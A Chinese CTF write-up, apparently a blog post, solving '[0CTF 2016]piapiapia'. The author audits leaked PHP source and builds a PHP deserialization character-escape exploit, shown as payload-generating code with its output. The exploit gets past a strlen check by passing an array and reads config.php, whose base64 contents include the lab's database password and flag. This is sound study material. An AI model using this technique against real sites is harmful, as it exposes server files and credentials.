当前位置: 首页 > web >正文

[0CTF 2016]piapiapia

usernamepassword回显推断
admin123Invalid user name or password
admin'123Invalid user name or password
admin123'Invalid user name or password
a123Invalid user name说明username是admin
admin1Invalid password这很奇怪了
admin0200
admin1=1Invalid user name or password
admin1=0Invalid user name or password

如果说出现Invalid user name or password是因为有过滤符号,但是为什么password等于1、123的结果不同呢?为什么password=0的时候回显200?不是普通的布尔盲注,感觉得拿到源码才知道其中逻辑。

利用bp扫描备份文件发现所有不存在的路径都会重定向到Index.php,但是从长度可以看到www.zip文件是存在的。拿到了源代码。

发现有login、register、update、profile功能,发现profile存在可利用输出:

<?phprequire_once('class.php');if($_SESSION['username'] == null) {die('Login First');	}$username = $_SESSION['username'];$profile=$user->show_profile($username);if($profile  == null) {header('Location: update.php');}else {$profile = unserialize($profile);$phone = $profile['phone'];$email = $profile['email'];$nickname = $profile['nickname'];$photo = base64_encode(file_get_contents($profile['photo']));
?><img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;"><h3>Hi <?php echo $nickname;?></h3><label>Phone: <?php echo $phone;?></label><label>Email: <?php echo $email;?></label>

有unserialize()但是class.php中没有可利用的魔术方法。可以考虑$username二次注入和$photo文件读取或者代码注入。

public function show_profile($username) {$username = parent::filter($username);$where = "username = '$username'";$object = parent::select($this->table, $where);return $object->profile;}public function select($table, $where, $ret = '*') {$sql = "SELECT $ret FROM $table WHERE $where";$result = mysql_query($sql, $this->link);return mysql_fetch_object($result);}public function filter($string) {$escape = array('\'', '\\\\');$escape = '/' . implode('|', $escape) . '/';$string = preg_replace($escape, '_', $string);//将单引号和反斜杠(因为字符串和正则表达式二次转义)过滤$safe = array('select', 'insert', 'update', 'delete', 'where');$safe = '/' . implode('|', $safe) . '/i';return preg_replace($safe, 'hacker', $string);//select被过滤,sql注入基本用不了}

update.php:

<?phprequire_once('class.php');if($_SESSION['username'] == null) {die('Login First');	}if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {$username = $_SESSION['username'];if(!preg_match('/^\d{11}$/', $_POST['phone']))die('Invalid phone');if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))die('Invalid email');if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)die('Invalid nickname');$file = $_FILES['photo'];if($file['size'] < 5 or $file['size'] > 1000000)die('Photo size error');move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));$profile['phone'] = $_POST['phone'];$profile['email'] = $_POST['email'];$profile['nickname'] = $_POST['nickname'];$profile['photo'] = 'upload/' . md5($file['name']);$user->update_profile($username, serialize($profile));echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';}else {
?>

move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));

对上传的图片没有严格过滤,可能存在文件上传漏洞。

上传一句话木马shell.php,然后文件位置为:upload/25a452927110e39a345a2511c57647f2

由于文件名被编码,访问该路径服务器无法将其当作php代码执行。

由于select被过滤sql注入用不了,对$photo文件名进行了md5编码没法进行文件上传和文件读取,对$photo文件内容进行base64编码,也没法进行代码注入。看一下答案吧。

php反序列化中的字符逃逸。原因在于update.php将所有上传内容进行序列化,然后在插入数据库前进行了字符替换,会改变序列字符串长度。并且对nickname的长度过滤使用的是strlen($_POST['nickname']) > 10,能通过传数组绕过。

如何进行字符逃逸呢?

首先我们的目标是利用$photo的文件名和file_get_contents()读取config.php文件,但是文件名进行了md5编码,所以需要利用字符逃逸构造$profile['photo']=config.php。

可以利用'where'替换为'Hacker'增加一个长度。从而在nickname中构造photo。

<?php
$profile = [];
echo "目标序列:\n";
$profile['phone'] = '12345678901';
$profile['email'] = 'zzz999999@qq.com';
$profile['nicname'] = 'hacker...';
$profile['photo'] = 'config.php';
echo serialize($profile)."\n";echo "替换前的序列:\n";
$profile['phone'] = '12345678901';
$profile['email'] = 'zzz999999@qq.com';
$profile['nicname'] = 'where...';
$profile['photo'] = 'upload/' . md5('1.jpg');
echo serialize($profile)."\n";// nickname需要以";s:5:"photo";s:10:"config.php";}结尾,并且让他们逃逸出去
$end = '";s:5:"photo";s:10:"config.php";}';
$num = strlen($end); //33
$bengin = str_repeat('where', $num); 
$profile['phone'] = '12345678901';
$profile['email'] = 'zzz999999@qq.com';
$profile['nicname'] = $bengin.$end;
$profile['photo'] = 'upload/' . md5('1.jpg');
echo "构造的序列:\n";
echo $string = serialize($profile)."\n";$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
$res = preg_replace($safe, 'hacker', $string);
echo "替换后的序列:\n";
echo $res."\n";
var_dump (unserialize($res))."\n";
echo "playload:\n";
echo $profile['nicname']."\n";

这是我构造playload的思路,先从目标序列、替换前的序列入手,再构造序列,最后验证结果是否与目标序列一样。

但是测试发现并不可以,update成功但是profile显示所有信息都为空,这说明反序列化可能出了问题。

突然想到,我们上传的时候nicname传的是数组,会不会数组的序列字符串有特殊的地方?

修改一下类型然后重新生成目标序列:

a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:16:"zzz999999@qq.com";s:7:"nicname";a:1:{i:0;s:9:"hacker...";}s:5:"photo";s:10:"config.php";}

果然,如果nickname是数组的话,有特殊格式。因此在字符逃逸的时候需要";}来闭合nicname。而不仅仅是"; 。重新构造playload:

<?php
$profile = [];
echo "目标序列:\n";
$profile['phone'] = '12345678901';
$profile['email'] = 'zzz999999@qq.com';
$profile['nicname'] = [];
$profile['nicname'][] = 'hacker...';
$profile['photo'] = 'config.php';
echo serialize($profile)."\n";echo "替换前的序列:\n";
$profile['phone'] = '12345678901';
$profile['email'] = 'zzz999999@qq.com';
$profile['nicname'] = [];
$profile['nicname'][] = 'where...';
$profile['photo'] = 'upload/' . md5('1.jpg');
echo serialize($profile)."\n";// nickname需要以";}s:5:"photo";s:10:"config.php";}结尾,并且让他们逃逸出去
$end = '";}s:5:"photo";s:10:"config.php";}';
$num = strlen($end); //34
$bengin = str_repeat('where', $num); 
$profile['phone'] = '12345678901';
$profile['email'] = 'zzz999999@qq.com';
$profile['nicname'] = [];
$profile['nicname'][] = $bengin.$end;
$profile['photo'] = 'upload/' . md5('1.jpg');
echo "构造的序列:\n";
echo $string = serialize($profile)."\n";$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
$res = preg_replace($safe, 'hacker', $string);
echo "替换后的序列:\n";
echo $res."\n";
echo "验证正确性:\n";
var_dump (unserialize($res))."\n";
echo "playload:\n";
var_dump($profile['nicname']);

输出是:

目标序列:
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:16:"zzz999999@qq.com";s:7:"nicname";a:1:{i:0;s:9:"hacker...";}s:5:"photo";s:10:"config.php";}
替换前的序列:
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:16:"zzz999999@qq.com";s:7:"nicname";a:1:{i:0;s:8:"where...";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}
构造的序列:
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:16:"zzz999999@qq.com";s:7:"nicname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}
替换后的序列:
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:16:"zzz999999@qq.com";s:7:"nicname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}array(4) {["phone"]=>string(11) "12345678901"["email"]=>string(16) "zzz999999@qq.com"["nicname"]=>array(1) {[0]=>string(204) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker"}["photo"]=>string(10) "config.php"
}
playload:
array(1) {[0]=>string(204) "wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}"
}

设置对update.php请求参数如上。然后访问profile.php。

由于这边图片是config.php的base64编码,所以无法解析成图片。但是我们可以通过查看源码看到

<img src="data:image/gif;base64,PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdmbGFne2Y1YTNiNGVmLTQyNDQtNDcyOC04MTM0LWY5YmYzY2Y3NWNhY30nOwo/Pgo=" class="img-memeda " style="width:180px;margin:0px auto;"> <h3>Hi Array</h3>

解码之后就能得到flag啦!

总结一下:感觉这道题目很棒,非常接近真实场景。代码审计的时候要考虑很多种可能。唯一可惜的是没有想到php反序列化字符逃逸。另外补充了一个知识,strlen()过滤可以通过传入数组绕过。踩过的一个坑,php序列字符串中数组类型的数据是有大括号包裹的,因此逃逸的时候要注意闭合。

http://www.xdnf.cn/news/17585.html

相关文章:

  • 【秋招笔试】2025.08.09美团秋招研发岗机考真题-第二题
  • 在Mac上搭建本地AI工作流:Dify与DeepSeek的完美结合
  • 【2025CVPR-图象分类方向】ProAPO:视觉分类的渐进式自动提示优化
  • 【MySQL——第三章 :MySQL库表操作】
  • STM32 DMAMUX 平台驱动程序注册
  • 机器学习——DBSCAN 聚类算法 + 标准化
  • 解读 GPT-5:从“博士级 AI 专家”能力到 OpenAI API Key 获取与实践(提示工程→性能调优全流程)
  • 【递归、搜索与回溯算法】深度优先搜索
  • Spring AOP 底层实现(面试重点难点)
  • 结构化记忆、知识图谱与动态遗忘机制在医疗AI中的应用探析(上)
  • scikit-learn/sklearn学习|线性回归解读
  • 深度相机---双目深度相机
  • 神经机器翻译(NMT)框架:编码器-解码器(Encoder-Decoder)结构详解
  • tlias智能学习辅助系统--原理篇-SpringBoot原理-自动配置-自定义starter
  • Agent在游戏行业的应用:NPC智能化与游戏体验提升
  • SupChains团队:化学品制造商 ChampionX 供应链需求预测案例分享(十七)
  • Word XML 批注范围克隆处理器
  • 【从汇编语言到C语言编辑器入门笔记9】 - 链接器的执行过程
  • Docker部署到实战
  • K8s四层负载均衡-service
  • Python爬虫实战:研究BlackWidow,构建最新科技资讯采集系统
  • 【话题讨论】GPT-5 发布全解读:参数升级、长上下文与多领域能力提升
  • log4cpp、log4cplus 与 log4cxx 三大 C++ 日志框架
  • MPLS对LSP连通性的检测
  • 力扣559:N叉树的最大深度
  • 【力扣198】打家劫舍
  • Ubuntu 24.04 适配联发科 mt7902 pcie wifi 网卡驱动实践
  • 联邦学习之------VT合谋
  • 计算机网络:路由聚合的注意事项有哪些?
  • 【嵌入式】Linux的常用操作命令(2)